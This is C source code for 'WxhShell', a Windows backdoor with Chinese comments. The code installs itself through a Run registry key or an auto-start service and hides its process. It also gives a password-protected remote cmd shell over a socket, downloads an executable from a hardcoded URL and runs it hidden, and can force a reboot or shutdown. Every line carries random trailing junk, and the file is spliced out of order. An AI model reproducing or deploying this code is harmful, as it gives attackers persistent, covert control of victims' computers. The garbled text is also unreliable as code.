    if(Boot(SHUTDOWN)) (RGl, x:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1`b?nX  
    else { 75<E0O  
    closesocket(wsh); G.L4l|%W  
    ExitThread(0); { Ke3  
    } i^j{l_-JE  
    break; W&G DE  
    } x'}{^'}/  
  // 获取shell d d8^V_Kx  
  case 's': { 5C/u`{4]Hg  
    CmdShell(wsh); F*} b),  
    closesocket(wsh); 3<B{-z  
    ExitThread(0); <;M6s~  
    break; &u$l2hSS  
  } 6Ba>l$/q  
  // 退出 @Yy=HV  
  case 'x': { [4 "%NY  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^ .>)*P  
    CloseIt(wsh); %Sj;:LC  
    break; T- JJc#  
    } ""TRLs!:M  
  // 离开 h%#@Xd>.  
  case 'q': { =w,%W^"E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~KEnZa0  
    closesocket(wsh); D4_D{\xhO  
    WSACleanup(); +BmA4/P$  
    exit(1); df}B:?Ew.  
    break; 4ajBMgD]KG  
        } -j<m0XUQ  
  } m_oBV|v{  
  } 852$Ui|I  
.] 5&\  
  // 提示信息 ZO:{9vt=/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  Q"%L  
} %xL3=4\  
  } POx~m  
:Ruj;j  
  return; jt;68SA P  
} HnZr RHT 0  
{{:MJ\_"h_  
// shell模块句柄 ("wPkm^  
int CmdShell(SOCKET sock) kf^Wzp  
{ E/Y.f  
STARTUPINFO si; wHdq:,0-!  
ZeroMemory(&si,sizeof(si)); 0W#.$X5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e(j"u;=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; iQS?LksQX  
PROCESS_INFORMATION ProcessInfo; h (jg7R  
char cmdline[]="cmd"; %/s:G)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !j [U  
  return 0; 3K P6M=  
} $  5  
Z5_MSPm  
// 自身启动模式 QZ%_hvY[%>  
int StartFromService(void) [JsQ/|=z  
{ w ~Es,@  
typedef struct }4\>q$8'  
{ ^i#F+Q`1  
  DWORD ExitStatus; QfRt3\^`  
  DWORD PebBaseAddress; mLKwk6I  
  DWORD AffinityMask; )";g*4R[  
  DWORD BasePriority; ?\.P  
  ULONG UniqueProcessId; \/lH]u\x  
  ULONG InheritedFromUniqueProcessId; v&p\ r'w  
}   PROCESS_BASIC_INFORMATION; $:F]O$A  
*m2J$9q  
PROCNTQSIP NtQueryInformationProcess; %;9wToyK>  
|\Jpjm)?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2~~Q NWN  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z&9vKF  
w9l)=[s=  
  HANDLE             hProcess; ?zKDPBj  
  PROCESS_BASIC_INFORMATION pbi; *}cF]8c5W  
MZ6?s(mkx  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); '9H]S Ew  
  if(NULL == hInst ) return 0; MX6;ww  
`fc2vaSH =  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (N0G[(>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *}A J7]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |_ E)2b:h  
WZ;f3 "  
  if (!NtQueryInformationProcess) return 0; .u)Po;e`  
pgfI1`h  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); tb^3-ZUb  
  if(!hProcess) return 0; mp%i(Y"vp  
o1-Zh!*a*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <JDkvpckx.  
Z3T:R"l;  
  CloseHandle(hProcess); |Zncr9b  
p7Gs  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5(tOQ%AQ  
if(hProcess==NULL) return 0; IgQW 5E#  
!$f@j6.  
HMODULE hMod; m?>$!B4jFB  
char procName[255]; ES<"YF  
unsigned long cbNeeded; bY&s $Ry3"  
jo0p/5;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "PLZZL$+  
qGr(MDLc  
  CloseHandle(hProcess); WwPfz<I  
gfFP-J3cN  
if(strstr(procName,"services")) return 1; // 以服务启动 x^;nQas;  
\HV%579  
  return 0; // 注册表启动 dEJ>8e8  
} +Q8B in  
%v4/.4sR,;  
// 主模块 )9l5gZX'I  
int StartWxhshell(LPSTR lpCmdLine) +^{yJp.H#  
{ mdtq-v  
  SOCKET wsl; j ]F  Zy  
BOOL val=TRUE; r[JgCj+$&  
  int port=0; {{SeD:hx  
  struct sockaddr_in door; l%rwJLN1  
8lT.2H  
  if(wscfg.ws_autoins) Install(); b_z;^y~  
y`!3Z} 7  
port=atoi(lpCmdLine); f'TdYG  
.COY%fz  
if(port<=0) port=wscfg.ws_port; 7.hn@_  
zgJ%Zr!~  
  WSADATA data; Cj31'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *3s4JK  
Y*dzoN.sW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =;i@,{ ~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); KaZ$!JfT  
  door.sin_family = AF_INET; 3z!\Z[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); BJ@tU n  
  door.sin_port = htons(port); w`UB_h#Bl  
Wx;:_F7'\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Yq $(Ex  
closesocket(wsl); 5NZob<<  
return 1; Wm7Dy7#l  
} &w- QMj M>  
uF+if`?  
  if(listen(wsl,2) == INVALID_SOCKET) { )?:V5UO\  
closesocket(wsl); 7eqax33f  
return 1; (B}+uI{  
} 3<AZ,gF1  
  Wxhshell(wsl); 9pb4!=g*  
  WSACleanup(); % tN{  
R]0awV1b  
return 0; e3yBB*@  
k z@@/DD/9  
} o2He}t2o  
E dhT;!  
// 以NT服务方式启动 q1;}~}W;z4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  I?.$  
{ AVyqtztQ  
DWORD   status = 0; k ?X  
  DWORD   specificError = 0xfffffff; QyuSle  
O\,n;oj  
  serviceStatus.dwServiceType     = SERVICE_WIN32; SYOND>E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l23_K7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /o*r[g7<  
  serviceStatus.dwWin32ExitCode     = 0; BHy#g>KUF  
  serviceStatus.dwServiceSpecificExitCode = 0; 6HW<E~G'6  
  serviceStatus.dwCheckPoint       = 0; `i<;5s!rX  
  serviceStatus.dwWaitHint       = 0; j{C+`~O  
Ig-9Y;hdmn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); XI~2Vzht  
  if (hServiceStatusHandle==0) return; Ec y|l ;  
82WXgB>  
status = GetLastError(); q.`+d[Q2  
  if (status!=NO_ERROR) K{%}kUj>  
{ G,FYj'<!7,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #DXC 6f  
    serviceStatus.dwCheckPoint       = 0; )c b e 4  
    serviceStatus.dwWaitHint       = 0; ]j(2FM)#  
    serviceStatus.dwWin32ExitCode     = status; BSY2\AL p  
    serviceStatus.dwServiceSpecificExitCode = specificError; Yc/Nz(m  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^,]'Ut  
    return; }nvH Eo  
  } j{?,nJdQ  
2$. ubA  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (30{:o&^  
  serviceStatus.dwCheckPoint       = 0; ;;pxI5  
  serviceStatus.dwWaitHint       = 0; kL 6f^MoL  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); oe}nrkmb  
} {'4h.PB+r  
J@54B  
// 处理NT服务事件,比如:启动、停止 -ve{O-;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gk>-h,>"  
{ 1a;Le8  
switch(fdwControl) 7^4F,JuJO  
{ JV=d!Gi[C  
case SERVICE_CONTROL_STOP: ^a4y+!  
  serviceStatus.dwWin32ExitCode = 0; //2G5F;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -x=abyD  
  serviceStatus.dwCheckPoint   = 0; M;V (Tf  
  serviceStatus.dwWaitHint     = 0; *A':^vgk  
  { 6q RZ#MC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I8;pMr6  
  } +|Z1U$0g  
  return; GJ edW   
case SERVICE_CONTROL_PAUSE: ~'2)E/IeV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :?2+'+%'  
  break; `c ~Va/Yi  
case SERVICE_CONTROL_CONTINUE: TMj(y{2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]X?~Cz/wl  
  break; g^OU+7o  
case SERVICE_CONTROL_INTERROGATE: 55 )!cw4  
  break; <*E{z r&  
}; a1R2ocC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AmNmhcN  
} [8l;X:  
n|dLK.Q  
// 标准应用程序主函数 .%j&#(!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?sWPx!tU  
{ r+-KrO'  
xWWfts1t  
// 获取操作系统版本 /PH+K24v~  
OsIsNt=GetOsVer(); u0`~ |K  
GetModuleFileName(NULL,ExeFile,MAX_PATH); P*_!^2  
Kf2Ob 1  
  // 从命令行安装 +QT(~<  
  if(strpbrk(lpCmdLine,"iI")) Install(); fEf ",{I  
s7e)Mt  
  // 下载执行文件 {|= 8wB  
if(wscfg.ws_downexe) { Sh(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ; >Tko<  
  WinExec(wscfg.ws_filenam,SW_HIDE); gO_{(\w*  
} KoZ" yD  
h<U<K O  
if(!OsIsNt) { M/C7<?&  
// 如果时win9x,隐藏进程并且设置为注册表启动 Aq@_^mq1A  
HideProc(); q[`)A?Ae  
StartWxhshell(lpCmdLine); 7Gd)=Q{uur  
} S G|``}OA  
else QNj hA'[T  
  if(StartFromService())  KoVy,@  
  // 以服务方式启动 ]BGWJA5  
  StartServiceCtrlDispatcher(DispatchTable); /{Ksi+q  
else .q$HL t  
  // 普通方式启动 *ci,;-*C  
  StartWxhshell(lpCmdLine); w|!>>W6J  
12BTZ  
return 0; 0j\?zt?  
} Se7NF@>9_  
W}p>jP}  
j_Pt8{[  
U?97yc\$  
=========================================== ImO\X`{  
v1%rlP  
)X2=x^u*U  
u~FXO[b  
rt)70=  
&^$dHr6v  
" fr kDf-P  
Sd/?xyF1(  
#include <stdio.h> zBD ?O!  
#include <string.h> T;K,.a8bU  
#include <windows.h> rM<|<6(L  
#include <winsock2.h> m-9{@kgAM?  
#include <winsvc.h> EEFM1asJf  
#include <urlmon.h> qXPjxTg{[  
o5?f]Uq5 ,  
#pragma comment (lib, "Ws2_32.lib") b)RU+9x &  
#pragma comment (lib, "urlmon.lib") ,{P*ZK3u  
J4 [7*v  
#define MAX_USER   100 // 最大客户端连接数 UUi@ U  
#define BUF_SOCK   200 // sock buffer GADbXp3  
#define KEY_BUFF   255 // 输入 buffer LN}eD\  
Nr)v!z~y   
#define REBOOT     0   // 重启 ][3H6T!ckL  
#define SHUTDOWN   1   // 关机 pwAawm  
={,\6a|]:  
#define DEF_PORT   5000 // 监听端口 t"Ok-!c|  
`_Iy8rv:P  
#define REG_LEN     16   // 注册表键长度 'X&sH/>r  
#define SVC_LEN     80   // NT服务名长度 ov&4&v  
I@IZ1 /J,r  
// 从dll定义API by; %k/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); dx}) 1%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B@g 0QgA  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G;:n*_QXE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1M+o7HO.mG  
epM;u  
// wxhshell配置信息 ;BzbWvBo  
struct WSCFG { oe,I vnt  
  int ws_port;         // 监听端口 N"Y)  
  char ws_passstr[REG_LEN]; // 口令 =>nrU8x  
  int ws_autoins;       // 安装标记, 1=yes 0=no j f25Ky~  
  char ws_regname[REG_LEN]; // 注册表键名 ]G.ttfC  
  char ws_svcname[REG_LEN]; // 服务名 :ad  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +k|t[N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (n:d {bKV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _Kdqa%L !  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :L gFd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1xN6V-qk  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z%-Yz- G9  
iIWz\FM  
}; 5|S|S))_Q  
Pqiw[+a$  
// default Wxhshell configuration L1=+x^WQ  
struct WSCFG wscfg={DEF_PORT, %xZYIY Kf  
    "xuhuanlingzhe", BUT{}2+K  
    1, i}teY{pyc  
    "Wxhshell", s;V~dxAiv  
    "Wxhshell", `k b]tf  
            "WxhShell Service", v5 STe`  
    "Wrsky Windows CmdShell Service", 9}p>='  
    "Please Input Your Password: ", .?{rd3[ec  
  1, xVk|6vA7  
  "http://www.wrsky.com/wxhshell.exe", GPBp.$q+B  
  "Wxhshell.exe" ?m.WqNBH7  
    }; S9/oBxGN  
~\_aT2j0  
// 消息定义模块 cojtQ D6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (T;4'c  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?/ xk  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; gz fs9e  
char *msg_ws_ext="\n\rExit."; Yd]y`J?#  
char *msg_ws_end="\n\rQuit."; :lj1[q:Y>  
char *msg_ws_boot="\n\rReboot..."; umPd+5i  
char *msg_ws_poff="\n\rShutdown..."; Q;r9>E!  
char *msg_ws_down="\n\rSave to "; d%1Tv1={  
p!qV!:  
char *msg_ws_err="\n\rErr!"; Ip#BR!$n  
char *msg_ws_ok="\n\rOK!"; \a\-hm  
U9k;)fK  
char ExeFile[MAX_PATH]; "f^s*I  
int nUser = 0; -*xm<R],  
HANDLE handles[MAX_USER]; B-Bgk  
int OsIsNt; ]D(!ua5|x`  
TG4?"0`I5  
SERVICE_STATUS       serviceStatus; k#mQLv  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1>hY!nG h  
X(s HFVU+  
// 函数声明 Hy4c{Ij  
int Install(void); g/Q"%GN,  
int Uninstall(void); 5(BB`)  
int DownloadFile(char *sURL, SOCKET wsh); _,*ld#'s  
int Boot(int flag); W/03L, 1  
void HideProc(void); o,o,(sII  
int GetOsVer(void); 9G njJ  
int Wxhshell(SOCKET wsl); nx{_^sK  
void TalkWithClient(void *cs); _$s ;QI]x  
int CmdShell(SOCKET sock); *12,MO>go  
int StartFromService(void); -|E|-'  
int StartWxhshell(LPSTR lpCmdLine);  mZGAl1`8  
5G5P#<Vv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ! 6y<jJ>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0 *!CJ;%N  
]2O52r  
// 数据结构和表定义 @JJ,$ ?  
SERVICE_TABLE_ENTRY DispatchTable[] = hcWYz  
{ <1")JDW  
{wscfg.ws_svcname, NTServiceMain}, },r30`)Q  
{NULL, NULL} BET3tiHV  
}; <}e2\x  
poJ7q (  
// 自我安装 )_[eqr  
int Install(void) [C1 .*Q+l  
{ 50MdZ;R-3  
  char svExeFile[MAX_PATH]; z1wJ-l  
  HKEY key; QuG=am?l`  
  strcpy(svExeFile,ExeFile); {NmpTb  
<cC0l-=  
// 如果是win9x系统,修改注册表设为自启动 Djv0]Sm^!  
if(!OsIsNt) { i WCR 5c=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BS-nny  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zj~(CNE  
  RegCloseKey(key); =&Dt+f&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "ecG\}R=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -nBb - y  
  RegCloseKey(key); ZR|)+W;  
  return 0; D@jG+k-Lm  
    } 2hZ>bg  
  } KDx~^OO  
} j_=A)B?  
else { \}CQo0v  
|%wgux`z  
// 如果是NT以上系统,安装为系统服务 lqD.epm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t9zPUR  
if (schSCManager!=0) eK<X7m^  
{ 2t9JiH  
  SC_HANDLE schService = CreateService U5rcI6  
  ( +|Tz<\.C  
  schSCManager, ?-'m#5i"  
  wscfg.ws_svcname, /-Saz29f^Q  
  wscfg.ws_svcdisp, FE}!I  
  SERVICE_ALL_ACCESS, (_:k s  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9VqE:c /  
  SERVICE_AUTO_START, N(*Xjy+PX  
  SERVICE_ERROR_NORMAL, N0Y$QWr_$  
  svExeFile, &b!L$@6  
  NULL, !m7`E  
  NULL, ].E89_|O  
  NULL, jZRf{  
  NULL, T{9pNf-  
  NULL @|e4.(9A  
  ); I` `S%`h  
  if (schService!=0) YH_mWN\Wu  
  { +sN'Y/-  
  CloseServiceHandle(schService); \0}!qG![AA  
  CloseServiceHandle(schSCManager); YIP /N  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^]x%z*6  
  strcat(svExeFile,wscfg.ws_svcname); , `4chD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i}fAjS:W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5AX AIPn)  
  RegCloseKey(key); (#|CL/&  
  return 0; f9+J}  
    } G~$.Af!9W  
  } ejr9e@D^  
  CloseServiceHandle(schSCManager); CV9o,rL  
} J%8M+!`F  
} 4CUoXs'  
2(SU# /,  
return 1; <>gX'te  
} TH;kJ{[}  
ny(`An  
// 自我卸载 ;$`5L"I5$  
int Uninstall(void) ' 7lHWqN<  
{ QNH-b9u>8  
  HKEY key; nRP|Qt7>  
& XS2q0-x  
if(!OsIsNt) { R?%J   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h=:*cqp4  
  RegDeleteValue(key,wscfg.ws_regname); h8nJt>h  
  RegCloseKey(key); *w H.]$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I:~KF/q  
  RegDeleteValue(key,wscfg.ws_regname); /G{;?R  
  RegCloseKey(key); {B!LhvYAH  
  return 0; H@+1I?l  
  } K;:_UJ>t  
} gdPPk=LD  
} cst}/8e  
else { b" Z$?5  
pKxsK^O5[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); IE)$ .%q;)  
if (schSCManager!=0) aw%iO|M_  
{ UR3qzPm!0e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _T96.~Q  
  if (schService!=0) 1Q5:Vo^B#  
  { d4#CZv[g/  
  if(DeleteService(schService)!=0) { I_/E0qSJI  
  CloseServiceHandle(schService); Yk;-]qi7  
  CloseServiceHandle(schSCManager); jOkc'  
  return 0; ,A$#gLyk<  
  } 3/aK#TjK  
  CloseServiceHandle(schService); 1*x;jO>Hk  
  } I]4L0r-  
  CloseServiceHandle(schSCManager); PRdyc+bf  
} 6 5%WjO  
} O/(QLgUr  
:V9%R~h/  
return 1; D(E3{\*R  
} mp !S<m  
.S5%Qa [uW  
// 从指定url下载文件 '-,$@l#  
int DownloadFile(char *sURL, SOCKET wsh) ^"\3dfzKM  
{ C`J>Gm  
  HRESULT hr; Qkvg85  
char seps[]= "/"; J]!&E~Y  
char *token; VW$a(G_h  
char *file; ?Iin/<y  
char myURL[MAX_PATH]; 9wTN *y  
char myFILE[MAX_PATH]; jkQ%b.a  
y[D8rFw  
strcpy(myURL,sURL); z[cs/x  
  token=strtok(myURL,seps); c\Z.V*o  
  while(token!=NULL) Y94 ^mt-  
  { s~z~9#G(6  
    file=token; }&*wJ]j`L  
  token=strtok(NULL,seps); *(,zPn,  
  } { R`"Nk  
]ZMFK>"^%  
GetCurrentDirectory(MAX_PATH,myFILE); RXi/&'+H  
strcat(myFILE, "\\"); )Ja&Y  
strcat(myFILE, file); eP?=tUB!S  
  send(wsh,myFILE,strlen(myFILE),0); ir{li?kV  
send(wsh,"...",3,0); 5LF&C0v  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bQvhBa?  
  if(hr==S_OK) H@'f=Y*D  
return 0;  &Hi;>  
else (^G @-eh  
return 1; 9hTzi+'S  
f?qp*  
} {^T_m)|n  
mA?fCs  
// 系统电源模块 8|"26UwD/  
int Boot(int flag) iwXMe(k  
{ *el~sor;S  
  HANDLE hToken; 1_jd1 UT  
  TOKEN_PRIVILEGES tkp; NimW=X;c  
G<$ N*3  
  if(OsIsNt) { ;4'pucq5/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); '!DS3zEeLS  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tP. jJC~  
    tkp.PrivilegeCount = 1; H{BP7!t[V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q,m&XpZ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); J#*%r)  
if(flag==REBOOT) { rRQKW_9mB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O a%ZlEUF  
  return 0; 8Y,imj\(v  
} 2.2G79 U,  
else { \C}_l+nY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mm:g9j  
  return 0; Q1'4xWu  
} W^k|*Y|  
  } *}P=7TuS  
  else { M%z$yU`ac  
if(flag==REBOOT) { CX}==0od  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $<s;YhM:u)  
  return 0; J Q% D6b  
} 7C>5XyyJ  
else { L)z`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) lDX\"Fq  
  return 0; _/5#A+ ?  
} SjL&\),  
} ?/1Eu47  
P?o|N<46  
return 1; T!%J x.^  
} | zyO;  
vveL|j  
// win9x进程隐藏模块 v;o/M6GL5  
void HideProc(void) (3Dz'X  
{ o()No_.8H  
d=DQS>Nz  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )>]@@Trx  
  if ( hKernel != NULL ) J=t@2  
  { SMn(c  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'Z8=y[l  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [vTk*#Cl4  
    FreeLibrary(hKernel); ~wFiq)v(  
  } 7t3ps  
J|aU}Z8m  
return; *hIjVKTu79  
} V%Ww;Ca]I  
:[J'B4>9  
// 获取操作系统版本 mv{bX|.  
int GetOsVer(void) sKwUY{u\M  
{ [:(hqi!  
  OSVERSIONINFO winfo; T&nIH[}v  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E0)43  
  GetVersionEx(&winfo); D$U`u[qjtS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Pk{%2\%&2  
  return 1; d#CAP9n;'  
  else ^N&@7s  
  return 0;  X]4j&QB  
} ]S 3l' "  
80%L!x|  
// 客户端句柄模块 2_Gb K-  
int Wxhshell(SOCKET wsl) WNSY@q  
{ gVI{eoJ  
  SOCKET wsh; s3[\&zt  
  struct sockaddr_in client; se@ ?:n1)  
  DWORD myID; &7r73~TXm  
V [Wo9Y\  
  while(nUser<MAX_USER) a7}O.NDf  
{ yHf:/8Z  
  int nSize=sizeof(client); ~0Z.,p_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O_ d[{e=5`  
  if(wsh==INVALID_SOCKET) return 1; lw43|_'G-t  
%j/}e>$"Nk  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); lSG]{  
if(handles[nUser]==0) \IP 9EFA  
  closesocket(wsh); PY MofQaZ  
else ;~GBD]  
  nUser++; 1<;VD0XX  
  } slQEAqG)B  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !LJ4 S  
-sxu7I  
  return 0; ^Rb*mI  
} dK41NLGQ  
/RI"a^&9A  
// 关闭 socket Al+}4{Q+?  
void CloseIt(SOCKET wsh) ZkryoIQ%=  
{ :[&QoEZW  
closesocket(wsh); l?B=5*0  
nUser--;  joBS{]  
ExitThread(0); 8osP$"/o  
} )%09j0y>l"  
'Pe;Tp>`  
// 客户端请求句柄 no(or5UJ  
void TalkWithClient(void *cs) @~bP|a  
{ :3[;9xCHj  
 }=d}q *  
  SOCKET wsh=(SOCKET)cs; cHC4Y&&uZ  
  char pwd[SVC_LEN]; mLfY^&2Pr  
  char cmd[KEY_BUFF]; Mq='|0,  
char chr[1]; (SMk !b]}  
int i,j; srhI%Zj  
e F)my  
  while (nUser < MAX_USER) { P9)L1l<3I  
ue*o>iohB  
if(wscfg.ws_passstr) { H 3so&_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =~TPrO^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W[:CCCDL  
  //ZeroMemory(pwd,KEY_BUFF); `<-/e%8  
      i=0; <k 'zz:[c!  
  while(i<SVC_LEN) { 4BZ7R,m#.  
[r1dgwh8  
  // 设置超时 +~"(Wooi  
  fd_set FdRead; Nw '$r  
  struct timeval TimeOut; Q^8/"aV\  
  FD_ZERO(&FdRead); 8@/MrEOW#  
  FD_SET(wsh,&FdRead); FXul u6"SX  
  TimeOut.tv_sec=8; Fl!D2jnN  
  TimeOut.tv_usec=0; Z*'<9l_1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |G/U%?`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); C]&/k_k  
?)H:.]7-x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Sd/7#  
  pwd=chr[0]; 85USMPF  
  if(chr[0]==0xd || chr[0]==0xa) { *D67&/g.  
  pwd=0; A 8g_BLj!e  
  break; qJE_4/<^!  
  } Sx1|Oq]  
  i++; n#sK31;yb  
    } QO:Z8{21So  
[X7gP4  
  // 如果是非法用户,关闭 socket ??f,(om  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ZiPz~G0[^  
} P(!%Pp  
dL~^C I  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r>gf&/Pl  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]c M8TT  
kt |j]:  
while(1) { `A#0If  
-2j[;kgt}  
  ZeroMemory(cmd,KEY_BUFF); ' e %>Ip  
~x^Ra8A  
      // 自动支持客户端 telnet标准   9&{z?*  
  j=0; Vha,rIi  
  while(j<KEY_BUFF) { sL,|+>7T^M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -EP(/CS!  
  cmd[j]=chr[0]; 0\Tp/Ph  
  if(chr[0]==0xa || chr[0]==0xd) { xo4lM  
  cmd[j]=0; v\E6N2.S  
  break; Zs8]A0$  
  } <7! "8e  
  j++; jX0^1d@  
    } <fE ^S  
R@#xPv4o%  
  // 下载文件 eVd:C8q  
  if(strstr(cmd,"http://")) { G#ELQ/Q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); P)Rq\1:  
  if(DownloadFile(cmd,wsh)) HL-'\wtl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); NLu[<u U*  
  else JXHf$k  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P/xE n_*v  
  } jz S iw z  
  else {  tN.$4+  
hiv {A9a?  
    switch(cmd[0]) { _2{2Xb  
  gjx-tp 1.  
